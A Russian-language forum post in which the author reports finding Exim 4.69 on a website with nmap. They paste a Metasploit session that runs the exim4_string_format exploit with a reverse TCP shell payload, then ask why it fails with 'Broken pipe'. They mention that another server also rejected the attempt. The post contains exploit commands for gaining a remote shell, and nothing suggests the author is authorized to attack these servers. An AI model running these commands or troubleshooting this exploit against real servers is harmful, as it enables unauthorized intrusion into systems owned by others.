Столкнулся со следующей проблемой. На сайте крутится Exim 4.69.

Вывод nmap:

25/tcp open smtp Exim smtpd 4.69

Пытаюсь использовать готовый эксплойт в Metsploit - http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

Вывод консоли:

msf > use unix/smtp/exim4_string_format

msf exploit(exim4_string_format) > set LHOST xxx

LHOST => xxx

msf exploit(exim4_string_format) > set RHOST yyy

RHOST => yyy

msf exploit(exim4_string_format) > set Payload generic/shell_reverse_tcp

Payload => generic/shell_reverse_tcp

msf exploit(exim4_string_format) > exploit

Что это за Broken pipe такой? Кто-нибудь вообще пробовал этот сплойт?

На другом сервере выдает:
[*] MAIL: 250 OK
[*] RCPT: 550-"JunkMail rejected - xxx (xxx.com) 550-[xxx]:50524 is in an RBL, see 550 http://www.spamhaus.org/query/bl?ip=xxx"

Тут я тоже ничего не понимю
